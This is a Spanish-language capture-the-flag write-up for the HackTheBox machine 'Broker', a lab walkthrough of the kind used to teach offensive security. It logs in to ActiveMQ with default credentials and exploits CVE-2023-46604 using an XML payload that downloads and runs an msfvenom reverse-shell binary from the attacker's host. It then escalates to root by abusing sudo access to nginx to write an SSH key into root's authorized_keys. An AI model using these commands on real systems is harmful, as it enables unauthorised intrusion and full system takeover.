Broker es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Fácil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Broker 10.10.11.243 a /etc/hosts como broker.htb y comenzamos con el escaneo de puertos nmap.
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 |
$ nmap -sS -p- --open --min-rate 1000 -vvv -n -oA enumeration/nmap1 -Pn 10.10.11.243 Nmap scan report for 10.10.11.243 Host is up, received user-set (0.083s latency). Scanned at 2023-11-10 13:25:08 GMT for 21s Not shown: 65526 closed tcp ports (reset) PORT STATE SERVICE REASON 22/tcp open ssh syn-ack ttl 63 80/tcp open http syn-ack ttl 63 1883/tcp open mqtt syn-ack ttl 63 5672/tcp open amqp syn-ack ttl 63 8161/tcp open patrol-snmp syn-ack ttl 63 46335/tcp open unknown syn-ack ttl 63 61613/tcp open unknown syn-ack ttl 63 61614/tcp open unknown syn-ack ttl 63 61616/tcp open unknown syn-ack ttl 63 Read data files from: /usr/bin/../share/nmap # Nmap done at Fri Nov 10 13:25:30 2023 -- 1 IP address (1 host up) scanned in 21.95 seconds |
Descubiertos los puertos abiertos, lanzamos un segundo escaneo más detallado sobre los mismos
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 |
$ nmap -sCV -p 22,80,1883,5672,8161,46335,61613-61616 -oA enumeration/nmap2 -Pn 10.10.11.243 Nmap scan report for 10.10.11.243 Host is up (0.069s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA) |_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ basic realm=ActiveMQRealm |_http-title: Error 401 Unauthorized |_http-server-header: nginx/1.18.0 (Ubuntu) 1883/tcp open mqtt | mqtt-subscribe: | Topics and their most recent payloads: | ActiveMQ/Advisory/Consumer/Topic/#: |_ ActiveMQ/Advisory/MasterBroker: 5672/tcp open amqp? | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: | AMQP | AMQP | amqp:decode-error |_ 7Connection from client using unsupported AMQP attempted |_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65 8161/tcp open http Jetty 9.4.39.v20210325 | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ basic realm=ActiveMQRealm |_http-title: Error 401 Unauthorized |_http-server-header: Jetty(9.4.39.v20210325) 46335/tcp open tcpwrapped 61613/tcp open stomp Apache ActiveMQ | fingerprint-strings: | HELP4STOMP: | ERROR | content-type:text/plain | message:Unknown STOMP action: HELP | org.apache.activemq.transport.stomp.ProtocolException: Unknown STOMP action: HELP | org.apache.activemq.transport.stomp.ProtocolConverter.onStompCommand(ProtocolConverter.java:258) | org.apache.activemq.transport.stomp.StompTransportFilter.onCommand(StompTransportFilter.java:85) | org.apache.activemq.transport.TransportSupport.doConsume(TransportSupport.java:83) | org.apache.activemq.transport.tcp.TcpTransport.doRun(TcpTransport.java:233) | org.apache.activemq.transport.tcp.TcpTransport.run(TcpTransport.java:215) |_ java.lang.Thread.run(Thread.java:750) 61614/tcp open http Jetty 9.4.39.v20210325 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Jetty(9.4.39.v20210325) |_http-title: Site doesn't have a title. 61615/tcp closed unknown 61616/tcp open apachemq ActiveMQ OpenWire transport | fingerprint-strings: | NULL: | ActiveMQ | TcpNoDelayEnabled | SizePrefixDisabled | CacheSize | ProviderName | ActiveMQ | StackTraceEnabled | PlatformDetails | Java | CacheEnabled | TightEncodingEnabled | MaxFrameSize | MaxInactivityDuration | MaxInactivityDurationInitalDelay | ProviderVersion |_ 5.15.15 3 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service : ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port5672-TCP:V=7.94%I=7%D=11/10%Time=654E2F74%P=x86_64-pc-linux-gnu%r(G SF:etRequest,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10 SF:\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x0 SF:1\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20cl SF:ient\x20using\x20unsupported\x20AMQP\x20attempted")%r(HTTPOptions,89,"A SF:MQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa SF:1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x SF:02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client\x20using\x SF:20unsupported\x20AMQP\x20attempted")%r(RTSPRequest,89,"AMQP\x03\x01\0\0 SF:AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0 SF:`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp: SF:decode-error\xa17Connection\x20from\x20client\x20using\x20unsupported\x SF:20AMQP\x20attempted")%r(RPCCheck,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0 SF:\0\x19\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x SF:02\0\0\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17C SF:onnection\x20from\x20client\x20using\x20unsupported\x20AMQP\x20attempte SF:d")%r(DNSVersionBindReqTCP,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19 SF:\x02\0\0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0 SF:\0\0S\x18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connect SF:ion\x20from\x20client\x20using\x20unsupported\x20AMQP\x20attempted")%r( SF:DNSStatusRequestTCP,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\ SF:0\0\0S\x10\xc0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x SF:18\xc0S\x01\0S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20 SF:from\x20client\x20using\x20unsupported\x20AMQP\x20attempted")%r(SSLSess SF:ionReq,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc SF:0\x0c\x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0 SF:S\x1d\xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20clien SF:t\x20using\x20unsupported\x20AMQP\x20attempted")%r(TerminalServerCookie SF:,89,"AMQP\x03\x01\0\0AMQP\0\x01\0\0\0\0\0\x19\x02\0\0\0\0S\x10\xc0\x0c\ SF:x04\xa1\0@p\0\x02\0\0`\x7f\xff\0\0\0`\x02\0\0\0\0S\x18\xc0S\x01\0S\x1d\ SF:xc0M\x02\xa3\x11amqp:decode-error\xa17Connection\x20from\x20client\x20u SF:sing\x20unsupported\x20AMQP\x20attempted"); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port61613-TCP:V=7.94%I=7%D=11/10%Time=654E2F6E%P=x86_64-pc-linux-gnu%r( SF:HELP4STOMP,27F,"ERROR\ncontent-type:text/plain\nmessage:Unknown\x20STOM SF:P\x20action:\x20HELP\n\norg\.apache\.activemq\.transport\.stomp\.Protoc SF:olException:\x20Unknown\x20STOMP\x20action:\x20HELP\n\tat\x20org\.apach SF:e\.activemq\.transport\.stomp\.ProtocolConverter\.onStompCommand\(Proto SF:colConverter\.java:258\)\n\tat\x20org\.apache\.activemq\.transport\.sto SF:mp\.StompTransportFilter\.onCommand\(StompTransportFilter\.java:85\)\n\ SF:tat\x20org\.apache\.activemq\.transport\.TransportSupport\.doConsume\(T SF:ransportSupport\.java:83\)\n\tat\x20org\.apache\.activemq\.transport\.t SF:cp\.TcpTransport\.doRun\(TcpTransport\.java:233\)\n\tat\x20org\.apache\ SF:.activemq\.transport\.tcp\.TcpTransport\.run\(TcpTransport\.java:215\)\ SF:n\tat\x20java\.lang\.Thread\.run\(Thread\.java:750\)\n\0\n"); ==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)============== SF-Port61616-TCP:V=7.94%I=7%D=11/10%Time=654E2F6E%P=x86_64-pc-linux-gnu%r( SF:NULL,140,"\0\0\x01<\x01ActiveMQ\0\0\0\x0c\x01\0\0\x01\*\0\0\0\x0c\0\x11 SF:TcpNoDelayEnabled\x01\x01\0\x12SizePrefixDisabled\x01\0\0\tCacheSize\x0 SF:5\0\0\x04\0\0\x0cProviderName\t\0\x08ActiveMQ\0\x11StackTraceEnabled\x0 SF:1\x01\0\x0fPlatformDetails\t\0\x04Java\0\x0cCacheEnabled\x01\x01\0\x14T SF:ightEncodingEnabled\x01\x01\0\x0cMaxFrameSize\x06\0\0\0\0\x06@\0\0\0\x1 SF:5MaxInactivityDuration\x06\0\0\0\0\0\0u0\0\x20MaxInactivityDurationInit SF:alDelay\x06\0\0\0\0\0\0'\x10\0\x0fProviderVersion\t\0\x075\.15\.15"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Fri Nov 10 13:26:35 2023 -- 1 IP address (1 host up) scanned in 37.63 seconds |
Enumeración
Accedemos al portal web y nos solicita credenciales, que saltamos fácilmente con
|
1 |
admin:admin |
Y llegamos a la siguiente página
Se trata de ActiveMQ, revisamos la versión del mismo
Y vemos que tiene la versión 5.15.15, vamos a google y encontramos la vulnerabilidad CVE-2023-46604, que se trata de un RCE, y una poc.
Así que descargamos el código y generamos una revshell
|
1 2 3 4 5 6 7 |
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.8 LPORT=4444 -f elf -o a.elf [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 74 bytes Final size of elf file: 194 bytes Saved as: a.elf |
Editamos el fichero xml con nuestra ip y fichero
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>sh</value> <value>-c</value> <!-- The command below downloads the file and saves it as test.elf --> <value>curl -s -o a.elf http://10.10.14.8/a.elf; chmod +x ./a.elf; ./a.elf</value> </list> </constructor-arg> </bean> </beans> |
Ejecutamos el exploit
|
1 2 3 4 5 6 7 8 9 10 11 |
$ go run main.go -i 10.10.11.243 -p 61616 -u http://10.10.14.8/poc-linux.xml _ _ _ __ __ ___ ____ ____ _____ / \ ___| |_(_)_ _____| \/ |/ _ \ | _ \ / ___| ____| / _ \ / __| __| \ \ / / _ \ |\/| | | | |_____| |_) | | | _| / ___ \ (__| |_| |\ V / __/ | | | |_| |_____| _ <| |___| |___ /_/ \_\___|\__|_| \_/ \___|_| |_|\__\_\ |_| \_\\____|_____| [*] Target: 10.10.11.243:61616 [*] XML URL: http://10.10.14.8/poc-linux.xml [*] Sending packet: 000000721f000000000000000000010100426f72672e737072696e676672616d65776f726b2e636f6e746578742e737570706f72742e436c61737350617468586d6c4170706c69636174696f6e436f6e7465787401001f687474703a2f2f31302e31302e31342e382f706f632d6c696e75782e786d6c |
Y tenemos una shell
|
1 2 3 4 5 6 7 8 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.8] from (UNKNOWN) [10.10.11.243] 48484 whoami activemq script /dev/null -c bash Script started, output log file is '/dev/null'. activemq@broker:/opt/apache-activemq-5.15.15/bin$ |
Obteniendo la flag de user
Vamos a la home del usuario y obtenemos la primera flag
|
1 2 3 4 5 6 7 8 |
activemq@broker:/home/activemq$ ls -l ls -l total 4 -rw-r----- 1 root activemq 33 Nov 8 11:22 user.txt activemq@broker:/home/activemq$ cat user.txt cat user.txt 13b5ec85fe4123fc728ea5f5090319a9 activemq@broker:/home/activemq$ |
Escalado de privilegios
Revisamos los permisos y podemos ejecutar nginx como root
|
1 2 3 4 5 6 7 8 9 |
activemq@broker:/home/activemq$ sudo -l sudo -l Matching Defaults entries for activemq on broker: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty User activemq may run the following commands on broker: (ALL : ALL) NOPASSWD: /usr/sbin/nginx |
Así que generamos un fichero de configuración con el siguiente contenido
|
1 2 3 4 5 6 7 8 9 10 11 12 13 |
user root; worker_processes 4; pid /tmp/nginx.pid;events { worker_connections 50; } http { server { listen 81; root /; autoindex on; dav_methods PUT; } } |
Ejecutamos
|
1 |
activemq@broker:/tmp$ sudo /usr/sbin/nginx -c /tmp/nginx.conf |
Y generamos una clave
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 |
activemq@broker:/tmp$ ssh-keygen -t rsa -f root ssh-keygen -t rsa -f root Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in root Your public key has been saved in root.pub The key fingerprint is: SHA256:686YBuau81zOh9MvuPnGyDbmThnm41n9Ts7m4lqapqg activemq@broker The key's randomart image is: +---[RSA 3072]----+ | | | | | | | | | o S | | oo o o | | o o**o o . | | ...B@XB+.=. | | E*=*&@O=o=* | +----[SHA256]-----+ |
Subimos la pública por PUT
|
1 2 |
activemq@broker:/tmp$ curl -X PUT localhost:81/root/.ssh/authorized_keys -d "$(cat root.pub)" <t:81/root/.ssh/authorized_keys -d "$(cat root.pub)" |
Y utilizamos la privada para conectar como root
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
$ ssh -i root.pem root@10.10.11.243 The authenticity of host '10.10.11.243 (10.10.11.243)' can't be established. ED25519 key fingerprint is SHA256:TgNhCKF6jUX7MG8TC01/MUj/+u0EBasUVsdSQMHdyfY. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:215: [hashed name] ~/.ssh/known_hosts:218: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.11.243' (ED25519) to the list of known hosts. Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-88-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Fri Nov 10 01:48:18 PM UTC 2023 System load: 0.0 Usage of /: 73.7% of 4.63GB Memory usage: 14% Swap usage: 0% Processes: 168 Users logged in: 0 IPv4 address for eth0: 10.10.11.243 IPv6 address for eth0: dead:beef::250:56ff:feb9:22cd Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status root@broker:~# id uid=0(root) gid=0(root) groups=0(root) |
Obteniendo la flag de root
Como último paso, cogemos la flag
|
1 2 3 |
root@broker:~# cat root.txt 43deee0cf423ce3b0fd1244314ee69ec root@broker:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace
